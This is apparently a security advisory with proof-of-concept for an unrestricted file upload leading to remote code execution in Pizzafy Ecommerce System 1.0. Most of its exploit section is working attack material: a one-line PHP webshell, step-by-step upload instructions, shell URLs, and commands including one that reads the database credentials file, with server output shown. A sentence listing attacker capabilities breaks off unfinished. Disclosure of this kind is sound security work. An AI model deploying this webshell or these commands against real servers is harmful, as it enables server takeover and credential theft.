
| Field | Value |
|---|---|
| Vendor | SourceCodester |
| Vendor URL | https://www.sourcecodester.com |
| Product | Pizzafy Ecommerce System using PHP and MySQL |
| Product URL | https://www.sourcecodester.com/php/18708/pizzafy-ecommerce-system.html |
| Version | 1.0 |
| Vulnerability | Unrestricted File Upload → Remote Code Execution |
| CWE | CWE-434 |
| CVSSv3 Score | 7.8 (High) |
| Attack Vector | Network |
| Auth Required | Yes (Administrator) |
| User Interaction | None |
| Researcher | Imad Alvi |
| Date | 2026-04-12 |
File: Pizzafy/admin/admin_class_novo.php → save_menu() function
Parameter: img (FILE)
Upload path: Pizzafy/assets/img/
The save_menu() function in Pizzafy Ecommerce System 1.0 handles image uploads for menu items without performing any file type validation. The application retrieves the file extension using pathinfo() but never actually checks or restricts the allowed file types before moving the uploaded file to the web-accessible assets/img/ directory. An authenticated administrator can upload a PHP webshell disguised as a menu image, then access it directly via the browser to achieve Remote Code Execution on the server.
Vulnerable code in admin_class_novo.php:
function save_menu(){
extract($_POST);
// ...
if($_FILES['img']['tmp_name'] != ''){
$fname = strtotime(date('y-m-d H:i')).'_'.$_FILES['img']['name'];
$move = move_uploaded_file($_FILES['img']['tmp_name'],'../assets/img/'. $fname);
$data .= ", img_path = '$fname' ";
}
// No extension check, no MIME type check
}
Create a file named shell_web2.php with the following content:
<?php echo shell_exec($_GET['cmd']); ?>
Login as administrator and navigate to:
http://localhost/pizzafy/Pizzafy/admin/index.php?page=menu
Fill in the Menu Form with any valid values and select shell_web2.php as the Image file. Click Save.
The shell is now listed as a menu item on the customer-facing page.
Navigate to the assets directory — directory listing is enabled (CWE-548):
http://192.168.0.9/pizzafy/Pizzafy/assets/img/
The uploaded PHP shell is visible in the directory listing.
Access the uploaded shell directly and pass system commands via the cmd parameter:
http://192.168.0.9/pizzafy/Pizzafy/assets/img/1775994120_shell_web2.php?cmd=whoami
Response — OS command executed on the server:
desktop-g1i9np3\dell
?cmd=whoami
?cmd=ipconfig
?cmd=dir C:\xampp\htdocs\pizzafy
?cmd=type C:\xampp\htdocs\pizzafy\Pizzafy\admin\db_connect.php
An authenticated administrator can:
The assets/img/ directory has directory listing enabled, allowing unauthenticated users to browse all uploaded files including the webshell. This compounds the severity of the file upload vulnerability.